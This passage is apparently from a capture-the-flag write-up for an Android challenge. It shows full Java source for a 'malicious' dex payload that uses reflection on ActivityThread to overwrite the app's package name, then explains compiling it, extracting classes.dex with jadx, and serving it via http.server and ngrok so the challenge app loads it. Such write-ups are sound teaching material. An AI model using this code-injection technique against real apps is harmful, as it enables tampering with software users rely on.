Object mBoundApplication = mBoundApplicationField.get(activityThread);
Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
loadedApkInfoField.setAccessible(true);
Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);
// Set the new package name
Field packageNameField = loadedApkInfo.getClass().getDeclaredField("mPackageName");
packageNameField.setAccessible(true);
packageNameField.set(loadedApkInfo, "l33t_h4x0r");
Log.e("PackageName", getPackageName());
} catch (Exception e) {
e.printStackTrace();
}
}
}
After running and viewing in logcat the package name has been successfully changed to l33t_h4x0r
.
Create a malicious dex file
After that, just copy the code and input it into the Main
class and in the execute
function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.kuro.payload;
import android.content.pm.ApplicationInfo;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Main {
public static void execute() {
try {
// Get the current ActivityThread instance
Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
Method currentActivityThread = activityThreadClass.getDeclaredMethod("currentActivityThread");
currentActivityThread.setAccessible(true);
Object activityThread = currentActivityThread.invoke(null);
// Get the loaded package info
Field mBoundApplicationField = activityThreadClass.getDeclaredField("mBoundApplication");
mBoundApplicationField.setAccessible(true);
Object mBoundApplication = mBoundApplicationField.get(activityThread);
Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
loadedApkInfoField.setAccessible(true);
Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);
// Set the new package name
Field packageNameField = loadedApkInfo.getClass().getDeclaredField("mPackageName");
packageNameField.setAccessible(true);
packageNameField.set(loadedApkInfo, "l33t_h4x0r");
} catch (Exception e) {
e.printStackTrace();
}
}
}
After that, set the gradle so that when building the classes.dex it is only one and not multiple by adding the following config:
After that we build this project.
A popup will appear in the bottom right corner like the following.
Click locate
and will be directed to the apk folder that has been built:
Enter the debug folder.
And this app-debug.apk
is the result of our compile earlier, after that we open this apk in jadx
to take the classes.dex and use it in the challenge application.
The compiled apk folder is in <Project Folder Name>\app\build\outputs\apk\debug
.
After opening with jadx, we save all the decompiled results and put them in a folder, I myself put it in the kelasss
folder.
After that we copy the classes.dex
contained in the kelasss/resources/classes.dex
folder to another folder so that we can transfer it to the challenge application.
I put it in the internals folder only and I rename it to payload.dex
and run http.server and ngrok, after that just enter the url into the box and our exploit is successful to get the flag.
Just run on Virtual Android Device and get the flag:
Reference:
- https://android.googlesource.com/platform/frameworks/base.git/+/master/core/java/android/app/ActivityThread.java
- https://www.digitalocean.com/community/tutorials/java-reflection-example-tutorial
- https://www.haptik.ai/tech/using-reflection-in-android/
- https://stackoverflow.com/questions/1754714/android-and-reflection
- https://stackoverflow.com/questions/1438420/how-to-get-a-class-object-from-the-class-name-in-java
- https://www.geeksforgeeks.org/reflection-in-java/
- https://stackoverflow.com/questions/61757838/is-it-possible-to-get-class-object-of-an-app-from-injected-dex-by-using-java-ref
- https://github.com/aimardcr/APKKiller